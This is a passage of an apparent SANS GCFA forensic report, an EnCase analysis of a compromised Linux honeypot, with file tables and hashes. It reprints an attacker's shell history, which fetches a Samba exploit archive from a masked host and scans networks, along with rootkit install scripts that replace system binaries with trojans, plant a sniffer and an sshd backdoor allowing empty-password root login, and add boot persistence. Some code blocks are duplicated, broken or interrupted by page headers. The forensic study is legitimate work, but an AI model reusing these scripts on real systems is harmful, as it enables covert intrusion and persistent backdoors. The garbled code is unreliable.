<td>-------------</td>
<td>--------------</td>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>79)</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:36PM</td>
<td>2e7bbdad4579b0c5b9609ad1be0ed02f</td>
<td>74,752</td>
<td>74,592</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>80)</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>de328096016c1c151d99126cb6b4a95</td>
<td>5,120</td>
<td>5,001</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>81)</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:38PM</td>
<td>57bdcdba9d9126a49472d85485bae729</td>
<td>10,240</td>
<td>10,190</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>82)</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 01:50:36PM</td>
<td>43ca3fc3c7bf56e00c75677de8ed6c43</td>
<td>86,016</td>
<td>85,984</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>83)</td>
<td>06/29/03 03:41:56PM</td>
<td></td>
<td>b0154c6a0911fcbbe31669c9d756753</td>
<td>3,072</td>
<td>3,020</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Comment: This is an attack script from the samba.tgz file.

```bash
./samba -v -p $3 -d 300000 -C 99 -b $2 $1
```

84) Name: .bash_history
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\root\.bash_history
Entry Modified: 06/29/03 05:21:44PM
Last Accessed: 06/30/03 04:50:00PM
Last Written: 06/29/03 05:21:44PM
Hash Value: da617ff22a9bdf3508ada5a86d10217e
Physical Size: 3,072
Logical Size: 2,477


```bash
unset HISTFILES
cd /tmp
ls -al
dir -al
rm -rf .
rm -rf r
mc
ps ax
killed -9 cp chmod
ps ax
kill -9 19504 19508
ps ax
cd /bin
mkdir .EhT
cd /tmp
mc .font-unix
wget XXX.XXX.com/eladoht/samba.tgz
tar -zxvf samba.tgz
cd samba
ifconfig
./samba -d 0 -S 192.168.2.*
./samba -d 0 -S 3XX.XXX.5.*
rmmap
rmmap XXX.XXX.42.58
./sys XXX.XXX.42.58
./sys XXX.XXX.42.58
whereis tcp.log
netstat -a
netstat
./samba -d 0 -S XXX.XXX.42.*
rmmap XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.54.*
rmmap XXX.XXX.59.235
rmmap XXX.XXX.61.126
./sys XXX.XXX.61.126
```
### Files from s.tar.gz

These file are from the s.tar.gz archive. The files are trojan executable files. They include a sniffer file (linsniffer), an sshd backdoor and install script for the tools. All executable files are virus infected with the Linux RST.B virus (http://www.sophos.com/virusinfo/analyses/linuxrstb.htm).

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>File Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>weint</td>
<td></td>
<td>/usr/bin/weint</td>
<td>06/29/03 03:22:10PM</td>
<td>06/29/03 03:22:10PM</td>
<td>03/24/02 07:23:19PM</td>
<td>2b008592a46a5a52008ba46a27116833</td>
<td>24,576</td>
<td>20,914</td>
</tr>
<tr>
<td>install</td>
<td></td>
<td>/tmp/sinstall</td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:21PM</td>
<td>03/24/03 09:37:31PM</td>
<td>5ab9ac0a738a7f78c85f553738f3869d</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Comment: Here is the install script from the s.tar.gz file.

#!/bin/sh
#
# ===============================================
# cl*= [0m* cyne*= [36m* wht*= [37m*
# hblk*= [1;30m* hgrn*= [1;32m* hcy*n= [1;36m* hwh*t= [1;37m* hred*= [1;31m*
unset HISTFILE
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/sbin:/usr/local/bin:
/usr/bin:/usr/sbin:/sbin:/usr/local/sbin:/usr/local/bin:
/usr/local/bin:
/etc/rc.d/init.d:/bin:/usr/bin:
/etc/rc.d/rc0.d:/etc/rc.d/rc.d:/etc/rc.d/functions:
/install.log 2>&1
chattr -iau /etc/rc.d/sshd /etc/rc.d/init.d/syslog /etc/rc.d/init.d/functions >>install.log 2>&1
chattr -iau /usr/local/sbin/sshd /usr/sbin/sshd /bin/ps /bin/netstat /bin/ls /usr/bin/du /usr/bin/ps /find >>install.log 2>&1
chattr -iau /usr/bin/pstree /usr/bin/killall /usr/bin/top /usr/bin/dir >>install.log 2>&1
/etc/rc.d/init.d/syslog stop >>install.log 2>&1
killall -9 portmap 2>>install.log
rm -f ../*.tgz 2>>install.log

if [ ! -d /etc/rc.d/init.d ] || [ ! -d /etc/rc.d/rc0.d ]; then
  echo "${cl}${hred}Argh!! .. SysV init not found${cl}${wht}"
  echo "${cl}${hred}Installation aborted.${cl}${wht}" >>install.log 2>&1
  /etc/rc.d/init.d/syslog start >>install.log 2>&1
  exit 1
fi

cp -f .1proc /dev/ttyop

cp -f .laddr /dev/ttyoa

cp -f .1file /dev/ttyof

cp -f .1logz /dev/ttyos

touch -acmr /usr/bin/du du >>install.log 2>&1

touch -acmr /usr/bin/find find >>install.log 2>&1

touch -acmr /usr/bin/killall killall >>install.log 2>&1

touch -acmr /bin/netstat netstat >>install.log 2>&1

touch -acmr /bin/ps ps >>install.log 2>&1

touch -acmr /usr/bin/pstree pstree >>install.log 2>&1

touch -acmr /usr/bin/ps >>install.log 2>&1

touch -acmr /usr/bin/vdir vdir >>install.log 2>&1

sleep 1

if [ "$(2>&1 .ps >/dev/null)" ]; then
  if [ "$(2>&1 .ps >/dev/null)" ]; then
    mv -f /bin/mps /bin/mps >>install.log 2>&1
    if [ ! -x /bin/mps ]; then
      mv -f /bin/ps /bin/mps >>install.log 2>&1
      if [ ! -x /bin/ps ]; then
        mv -f /bin/ps /bin/ps >>install.log 2>&1
        fi
      fi
    fi
  fi
 else
  echo "PS --> OK" >>install.log
  echo "$({cl}\$hred}) *** failed ***$({cl}\$wht})"
  fi

else
  echo "$({cl}\$hred}) *** failed ***$({cl}\$wht})"
EnCase Computer Analysis Report
Sans GCFA Cert Assignment

```
echo "PS --> failed" >>install.log
fi

if [ ! -d /usr/include/rpcsvc ]; then
  mkdir -p /usr/include/rpcsvc >>install.log 2>&1
fi

echo "$(cl)$(hred)[$(cl)$(hblk)--$(cl)$(wht)top"
echo "|--top " >>install.log
if [ ! -x /usr/bin/mtop ]; then
  mv -f /usr/bin/top /usr/bin/mtop >>install.log 2>&1
  cp -f top /usr/bin/ >>install.log 2>&1
  echo "TOP --> OK" >>install.log
else
  echo "$(cl)$(hred) *** failed ***$(cl)$(wht)"
  echo "TOP --> failed" >>install.log
fi

echo "$(cl)$(hred)[$(cl)$(hblk)--$(cl)$(wht)pstree"
echo "|--pstree " >>install.log
if [ ! "$(2>&1 ./pstree >/dev/null) " ]; then
  if [ ! -x /usr/bin/mpstree ]; then
    mv -f /usr/bin/pstree /usr/bin/mpstree >>install.log 2>&1
    cp -f mpstree /usr/bin/ >>install.log 2>&1
    echo "PSTREE --> OK" >>install.log
  else
    echo "$(cl)$(hred) *** failed ***$(cl)$(wht)"
    echo "PSTREE --> failed" >>install.log
fi

echo "$(cl)$(hred)[$(cl)$(hblk)--$(cl)$(wht)killall"
sh mpstree
echo "|----killall " >>install.log
if [ ! "$(2>&1 ./killall >/dev/null) " ]; then
  if [ ! -x /dev/killer ]; then
    mv -f /usr/bin/killall /dev/killall >>install.log 2>&1
    cp -f killall /usr/bin/ >>install.log 2>&1
    echo "KILLALL --> OK" >>install.log
  else
    echo "$(cl)$(hred) *** failed ***$(cl)$(wht)"
    echo "KILLALL --> failed" >>install.log
fi

echo "$(cl)$(hred)[$(cl)$(hblk)--$(cl)$(wht)ls"
echo "|-----ls-dir-vdir " >>install.log
unalias ls >/dev/null 2>&1
alias ls="ls --color=tty"
if [ ! "$(2>&1 ./ls >/dev/null) " ]; then
  if [ ! -x /bin/ls ]; then
    mv -f /bin/ls /bin/mls >>install.log 2>&1
    fi
    cp -f ls /bin/ >>install.log 2>&1
    cp -f ls /usr/bin/dir
    cp -f vdir /usr/bin
echo "alias ls="ls --color=tty" " /etc/bashrc
    echo "LS DIR VDIR ---> OK" >>install.log
  else
    echo "$(cl)$(hred) *** failed ***$(cl)$(wht)"
    echo "LS DIR VDIR ---> failed" >>install.log
fi

echo "$(cl)$(hred)[$(cl)$(hblk)--$(cl)$(wht)find"
echo "|-----find " >>install.log
if [ ! -x /usr/bin/mfind ]; then
  mv -f /usr/bin/find /usr/bin/mfind
cp -f find /usr/bin
echo "FIND ---> OK" >>install.log
else
  echo "$(cl)$(hred) *** failed ***$(cl)$(wht)"
```
```bash
if [ 1 -eq 1 ]; then
  fi
fi
```

```
#!/bin/bash

# Check for necessary packages
if ! command -v du; then
  echo "FIND --- failed" >> install.log
else
  echo "DU --- OK" >> install.log
fi
```

```
# Check for necessary packages
if ! command -v netstat; then
  echo "NETSTAT --- failed" >> install.log
else
  echo "NETSTAT --- OK" >> install.log
fi
```

```
# Move and make executable
mv /usr/bin/du /usr/include/rpcsvc/du
chmod -x /usr/include/rpcsvc/du
```

```
# Install Utilities
for utility in clean sense sl2 foo stealth v
  do
    cp $utility /usr/bin
    echo "$utility --- OK" >> install.log
  done
```

```
# Create log directory
mkdir /dev/logs
chattr +i /dev/logs
mv /dev/logs /dev/dirlogs
```

```
# Install sniffer
if [ -d /dev/logs ]; then
  echo "$utility --- Sniffer UP" >> install.log
else
  mkdir /dev/logs/tcp.log
  touch /dev/logs/tcp.log
  lpd >> /dev/logs/tcp.log
fi
```

```
# Set up cron job
if [ "$user" ]; then
  echo "$utility --- Setting up cronjob" >> install.log
else
  echo "$utility --- Failed" >> install.log
fi
```

```
# Install EnCase Computer Analysis Report
```

```
# Check for necessary packages
if ! command -v du; then
  echo "FIND --- failed" >> install.log
else
  echo "DU --- OK" >> install.log
fi
```

```
# Check for necessary packages
if ! command -v netstat; then
  echo "NETSTAT --- failed" >> install.log
else
  echo "NETSTAT --- OK" >> install.log
fi
```

```
# Move and make executable
mv /usr/bin/du /usr/include/rpcsvc/du
chmod -x /usr/include/rpcsvc/du
```

```
# Install Utilities
for utility in clean sense sl2 foo stealth v
  do
    cp $utility /usr/bin
    echo "$utility --- OK" >> install.log
  done
```

```
# Create log directory
mkdir /dev/logs
chattr +i /dev/logs
mv /dev/logs /dev/dirlogs
```

```
# Install sniffer
if [ -d /dev/logs ]; then
  echo "$utility --- Sniffer UP" >> install.log
else
  mkdir /dev/logs/tcp.log
  touch /dev/logs/tcp.log
  lpd >> /dev/logs/tcp.log
fi
```

```
# Set up cron job
if [ "$user" ]; then
  echo "$utility --- Setting up cronjob" >> install.log
else
  echo "$utility --- Failed" >> install.log
fi
```
```
else
    echo "$({(cl)$(hred)}${(cl)$(hlblk)}--${(cl)$(hred)}CronTab already installed on user \-root-\{cl\}""
    echo "-----------------------------------------------"
    echo "${(cl)$(hred)}/usr/bin/crontab -l'${(cl)}""
    echo "-----------------------------------------------"
fi
echo "${(cl)$(hgrn)}Ports Open${(cl)}:${(wht)}"
if [-x /usr/sbin/lsof ]; then
    /usr/sbin/lsof|grep LISTEN
else
    /bin/netstat -a|grep LISTEN|grep tcp
fi
echo "${(cl)$(hgrn)}Checking 4 Other Rootkits${(cl)}:${(wht)}"
if [-d /dev/ida/.inet ]; then
    echo "${(cl)$(hred)}/dev/ida/.inet${(cl)}${(wht)}"
fi
if [-f /usr/bin/hdparm ]; then
    echo "${(cl)$(hred)}/usr/bin/hdparm${(cl)}${(wht)}"
fi
if [-d /dev/.rd ]; then
    echo "${(cl)$(hred)}/dev/.rd${(cl)}${(wht)}"
fi
if [-d /var/run/.pid ]; then
    echo "${(cl)$(hred)}/var/run/.pid${(cl)}${(wht)}"
fi
if [ "$locate alya.cgi 2>/dev/null" ]; then
    echo "${(cl)$(hred)alya.cgi${(cl)}${(wht)}"
locate alya.cgi 2>/dev/null
fi
if [-x /usr/bin/sourcemask ]; then
    echo "${(cl)$(hred)}/usr/bin/sourcemask${(cl)}${(wht)}"
fi
if [-x /etc/rc.d/init.d/init ]; then
    echo "${(cl)$(hred)}/etc/rc.d/init.d/init${(cl)}${(wht)}"
fi
if [ "$locate c700 2>/dev/null" ]; then
    echo "${(cl)$(hred)c700${(cl)}$(wht)}"
locate c700 2>/dev/null|head -n 5
echo "---------------------------------------------"
fi
if [ "$locate zoot 2>/dev/null" ]; then
    echo "${(cl)$(hred)zoot${(cl)}$(wht)}"
locate zoot 2>/dev/null|head -n 5
echo "---------------------------------------------"
fi
if [ "$locate rsha 2>/dev/null|egrep -v marshal" ]; then
    echo "${(cl)$(hred)rsha${(cl)}$(wht)}"
locate rsha 2>/dev/null|head -n 5
echo "---------------------------------------------"
fi
if [ "$locate xper 2>/dev/null|egrep -v fixperm" ]; then
    echo "${(cl)$(hred)xper${(cl)}$(wht)}"
locate xper 2>/dev/null|head -n 5
echo "---------------------------------------------"
fi
if [ "$locate tcp.log 2>/dev/null" ] || [ "$lsof|grep tcp.log" ] || [ "$locate sniffer 2>/dev/null" ]; then
```
EnCase Computer Analysis Report

 Sans GCFA Cert Assignment
 EnCase Computer Analysis Report
 Page 251

```
echo "$(cl)$hredSnifferz$(cl)$wht"
echo ---------------------------------------------
locate tcp.log 2>/dev/null
/usr/sbin/lsof|grep tcp.log
locate sniffer 2>/dev/null
echo ---------------------------------------------

fi
if [ "$locate .1proc 2>/dev/null" ]; then
  echo "$cl$hredPossible TK$(cl)$wht"
  locate .1proc 2>/dev/null
  echo ---------------------------------------------
fi
if [ "$locate adore 2>/dev/null" ]; then
  echo "$cl$hredPossible adore lkm$(cl)$wht"
  locate adore 2>/dev/null
  echo ---------------------------------------------
fi
if [ "$locate psybnc 2>/dev/null" ]; then
  echo "$cl$hredgrr.. a FucKing PsyBNC still around$(cl)$wht"
  locate psybnc 2>/dev/null|head -n 20
  echo ---------------------------------------------
fi
if [ "$locate mech 2>/dev/null|grep -v 'listmech'" ]; then
  echo "$cl$hredgrr.. a fucking mech still around$(cl)$wht"
  locate mech 2>/dev/null|grep -v 'listmech'|head -n 20
  echo ---------------------------------------------
fi
if [ "$locate eggdrop 2>/dev/null" ]; then
  echo "$cl$hredgrr.. a fucking egg still around$(cl)$wht"
  locate eggdrop 2>/dev/null|head -n 40
  echo ---------------------------------------------
fi
if [ "$locate sshdu 2>/dev/null" ]; then
  echo "$cl$hreda sshd still in sys$(cl)$wht"
  locate sshdu 2>/dev/null
  echo ---------------------------------------------
fi
if [ "$ps -ax|grep "-v grep|grep -v install" ]]; then
  echo "$cl$hredSuspect Processes:$(cl)$wht"
  ps -ax|grep "-v grep|grep -v install" | grep -v install
  echo ---------------------------------------------
fi

find /dev -type f|grep -v MAKEDEV|grep -v ttyo|grep -v hds|grep -v killer|grep -v logs
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>87)</td>
<td>install.log</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\install.log</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>65025494af2c14aeb979024429159fb8</td>
<td>1,024</td>
<td>510</td>
</tr>
<tr>
<td>88)</td>
<td>.1addr</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\1.addr</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:25:20PM</td>
<td>11/26/02 09:50:52PM</td>
<td>ad46a56a4269f47eb407ac56d18cd955</td>
<td>1,024</td>
<td>32</td>
</tr>
<tr>
<td>89)</td>
<td>.1addr</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\1.addr</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:25:20PM</td>
<td>11/26/02 09:50:52PM</td>
<td>ad46a56a4269f47eb407ac56d18cd955</td>
<td>1,024</td>
<td>32</td>
</tr>
<tr>
<td>90)</td>
<td>.1logz</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\1.logz</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:25:20PM</td>
<td>2/29/02 04:32:10PM</td>
<td>cf49f02b0fd5ef45625baa0e3125c878</td>
<td>1,024</td>
<td>68</td>
</tr>
<tr>
<td>91)</td>
<td>.1logz</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\1.logz</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:25:20PM</td>
<td>12/29/02 04:32:10PM</td>
<td>cf49f02b0fd5ef45625baa0e3125c878</td>
<td>1,024</td>
<td>68</td>
</tr>
<tr>
<td>92)</td>
<td>clean</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\clean</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Entry Modified: 06/29/03 03:22:08PM
Last Accessed: 06/29/03 03:25:20PM
Last Written: 02/06/02 04:26:29AM
Hash Value: f9e2970e3a7682440316b6e1a2687cbe
Physical Size: 2,048
Logical Size: 1,250

93) Name: du
Description: File
Full Path: Sans GCFA Cert Assignment: Linux 7.3 Honey pot system\tmp\s\du
Entry Modified: 06/29/03 03:25:20PM
Last Accessed: 06/29/03 03:25:20PM
Last Written: 06/29/03 03:25:20PM
Hash Value: 6e60f5c0f79a3526005c11821788f73f
Physical Size: 32,768
Logical Size: 32,539

94) Name: du
Description: File
Full Path: Sans GCFA Cert Assignment: Linux 7.3 Honey pot system\tmp\s\du
Entry Modified: 06/29/03 03:25:20PM
Last Accessed: 06/29/03 03:25:20PM
Last Written: 06/29/03 03:25:20PM
Hash Value: 6e60f5c0f79a3526005c11821788f73f
Physical Size: 32,768
Logical Size: 32,539

95) Name: init.sshd
Description: File
Full Path: Sans GCFA Cert Assignment: Linux 7.3 Honey pot system\tmp\s\sshd\init.sshd
Entry Modified: 06/29/03 03:11:59PM
Last Accessed: 06/29/03 03:11:58PM
Last Written: 02/06/02 04:31:03AM
Hash Value: b33deb29db1aed8186e048416b0bd68
Physical Size: 1,024
Logical Size: 969

96) Name: killall
Description: File
Full Path: Sans GCFA Cert Assignment: Linux 7.3 Honey pot system\tmp\s\killall
Entry Modified: 06/29/03 03:25:20PM
Last Accessed: 06/29/03 03:25:20PM
Last Written: 06/29/03 03:25:20PM
Hash Value: db9c510fadc6c3c398fd1b0850d0c0b8
Physical Size: 19,456
Logical Size: 19,291

97) Name: killall
Description: File
Full Path: Sans GCFA Cert Assignment: Linux 7.3 Honey pot system\tmp\s\killall
Entry Modified: 06/29/03 03:25:20PM
Last Accessed: 06/29/03 03:25:20PM
Last Written: 06/29/03 03:25:20PM
Hash Value: db9c510fadc6c3c398fd1b0850d0c0b8
EnCase Computer Analysis Report

Physical Size 19,456
Logical Size 19,291

Comment: sniffer program

98) Name mpstree
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\mpstree
Entry Modified 06/29/03 03:11:59PM
Last Accessed 06/29/03 03:25:20PM
Last Written 03/24/03 09:36:32PM
Hash Value 592011bbbf88683f0b24f1eda20bff
Physical Size 1,024
Logical Size 443

Comment: This script starts p.ssh, modifies /etc/rc.d/rc.sysinit by adding a line to run weit and removes wait.

#!/bin/bash
TERM=linux
chown root.root *
./p.ssh
sleep 1
chattr -racdissu /etc/rc.d/rc.sysinit
echo >>/etc/rc.d/rc.sysinit weit
cat /etc/rc.d/rc.sysinit | grep -v 'wait' > /etc/rc.d/rc.sysinit.old
rm -rf /etc/rc.d/rc.sysinit
mv /etc/rc.d/rc.sysinit.old /etc/rc.d/rc.sysinit
cchmod +x /etc/rc.d/rc.sysinit
chattr -racdissu /usr/bin/* >/dev/null 2>&1
mv weit /usr/bin/weit
touch -acmr /bin/df /usr/bin/weit
cchmod +x /usr/bin/weit
/usr/bin/weit

99) Name netstat
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\netstat
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value 8a6c03c19c4c93dfca31bcee94ce45da
Physical Size 39,936
Logical Size 39,399

Comment:

100) Name nfsdi
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\nfsd\nfsdi
Entry Modified 06/29/03 03:11:59PM
Last Accessed 06/29/03 03:25:21PM
Last Written 12/29/02 04:24:52PM
Hash Value 2aa3b69eaab68eb3cb3be8f66df8ca03
Physical Size 1,024
Logical Size 884
Comment: Here is the nfdsi script that is called from the install script to install the ssh backdoor.

```bash
#!/bin/sh
if [-x /usr/sbin/nfsd ]; then
  chattr -i /usr/sbin/nfsd
  rm -f /usr/sbin/nfsd
  cp -f ../p.sshd /usr/sbin/nfsd
  chmod +s /usr/sbin/nfsd
  chattr +i /usr/sbin/nfsd
else
  cp -f ../p.sshd /usr/sbin/nfsd
  chmod +s /usr/sbin/nfsd
  chattr +i /usr/sbin/nfsd
fi
if [-f /sbin/sshd_config ]; then
  chattr -i /sbin/sshd_config
  rm -f /sbin/sshd_config
  cp -f sshd_config /sbin
  chattr +i /sbin/sshd_config
else
  cp -f sshd_config /sbin
  chattr +i /sbin/sshd_config
fi
```

```bash
p $D; cd $D
```

```bash
#!/bin/sh
Comment: This script is called by the install script right after the killall trojan is installed. The line that calles it is "sh p.ssh".

```bash
#!/bin/bash
D="\./x"
M="x"
mkdir -p 5D; cd 5D
echo > libgc.so; chmod 0622 libgc.so
```

Comment: Here is the nfdsi script that is called from the install script to install the ssh backdoor. The line that calles it is "sh p.ssh".

```bash
#!/bin/bash
D="/tmp\"s\"p.ssh"
M="/x"
```
EnCase Computer Analysis Report

Page 260

© SANS Institute 2004, Author retains full rights.
EnCase Computer Analysis Report
EnCase Computer Analysis Report

Page 267

© SANS Institute 2004, Author retains full rights.

EnCase Computer Analysis Report
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

Page 271

© SANS Institute 2004, Author retains full rights.

102) Name  p.sshd
Description  File
Full Path  / tmp/. sshd
Entry Modified  06/29/03 03:25:20PM
Last Accessed  06/29/03 03:25:20PM
Last Written  06/29/03 03:25:20PM
Hash Value  9217bb76cb8b19ee6e45fa9883b0ebdc
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>popauth</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\popauth</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>9580542311468b426d76ada43f609be9</td>
<td>36,864</td>
<td>36,415</td>
</tr>
<tr>
<td>pstree</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\pstime</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>a2683199c868fccaec527f95d0ec879</td>
<td>22,528</td>
<td>21,943</td>
</tr>
<tr>
<td>sense</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\sense</td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:20PM</td>
<td>02/07/02 11:37:18AM</td>
<td>464dc23cac477c43418eb8d3ef087065</td>
<td>4,096</td>
<td>4,060</td>
</tr>
<tr>
<td>sshd_host_key</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\sshd\sshd_host_key</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:11:58PM</td>
<td>02/06/02 04:29:25AM</td>
<td>ec411d19fb0cd1c45e2e63f9a978315d</td>
<td>1,024</td>
<td>541</td>
</tr>
<tr>
<td>sshd_config</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\sshd\sshd_config</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:11:58PM</td>
<td>02/06/02 04:29:25AM</td>
<td>44fd911b3e39b43124e91dd1670658c0</td>
<td>1,024</td>
<td>498</td>
</tr>
</tbody>
</table>

**Physical Size**: 243,712  
**Logical Size**: 242,909
# This is ssh server systemwide configuration file.
# Do not delete this file is very important for your system.conf

Port 18
ListenAddress 0.0.0.0
HostKey /sbin/xxh_h
RandomSeed /sbin/xxh_r
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode Yes
X11Forwarding yes
X11DisplayOffset 10
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
SyslogFacility DAEMON
RhostsAuthentication no
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
# PidFile /u/zappa/.ssh/pid
# AllowHosts
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes

109) Name  sshd-install
Description  sshd-install
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\sshd\sshd-install
Entry Modified  06/29/03 03:11:59PM
Last Accessed  06/29/03 03:11:58PM
Last Written  11/26/02 09:40:32PM
Hash Value  2eebbaf9afee6267d55470c72f33a700
Physical Size  2,048
Logical Size 1,053

Comment: sshd-install script

#!/bin/sh
rm -rf /etc/ssh
mkdir -p /etc/ssh >>../install.log 2>&1
cp -f init.sshd /etc/rc.d/init.d/sshd
if [-x /sbin/chkconfig ]; then
  /sbin/chkconfig --add sshd >>../install.log 2>&1
else
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc0.d/K25sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc1.d/K25sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc2.d/K55sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc3.d/K55sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc4.d/K55sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc5.d/K55sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc6.d/K25sshd
fi

if [ ! -f /etc/ssh/ssh_host_key ]; then
  cp -f /etc/ssh/ssh_host_key /etc/ssh >>../install.log 2>&1
fi

if [ ! -f /etc/ssh/ssh_agent ]; then
  cp -f /etc/ssh/ssh_agent /etc/ssh >>../install.log 2>&1
fi

if [ ! -x /usr/sbin/sshd ]; then
  cp -f /usr/sbin/sshd /usr/sbin >>../install.log 2>&1
fi

chattr +iau /etc/rc.d/init.d/sshd /usr/sbin/sshd >../install.log 2>&1
/etc/rc.d/init.d/sshd restart >>../install.log 2>&1

110) Name top
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.s\top
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value 0598ec68648c9e9e17b0d50a3da771a6
Physical Size 58,368
Logical Size 57,615

111) Name vdir
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.s\vdir
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value 8a5f3b286a71bc0cf372d2d5b3966cb
Physical Size 48,128
Logical Size 47,295

112) Name xhh_h
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.s\nfsd\xhh_h
Entry Modified 06/29/03 03:11:59PM
Last Accessed 06/29/03 03:25:21PM
Last Written 02/06/02 08:09:53AM
Hash Value dde24731d459493356d479c2dbe48ad
Physical Size 1,024
Logical Size 534

113) Name xhh_h
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.s\nfsd\xhh_h

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
the functions library is called by the networks script here.

. /etc/init.d/functions

Volume /var
### EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

#### Volume

<table>
<thead>
<tr>
<th>File System</th>
<th>EXT3</th>
<th>Drive Type: Fixed</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sectors per cluster:</td>
<td>2</td>
<td>Bytes per sector: 512</td>
</tr>
<tr>
<td>Total Sectors:</td>
<td>529,137</td>
<td>Total Capacity:</td>
</tr>
<tr>
<td></td>
<td>270,917,632 bytes (258.4MB)</td>
<td></td>
</tr>
<tr>
<td>Total Clusters:</td>
<td>264,568</td>
<td>Unallocated:</td>
</tr>
<tr>
<td>Free Clusters:</td>
<td>214,544</td>
<td>Allocated: 51,224,576</td>
</tr>
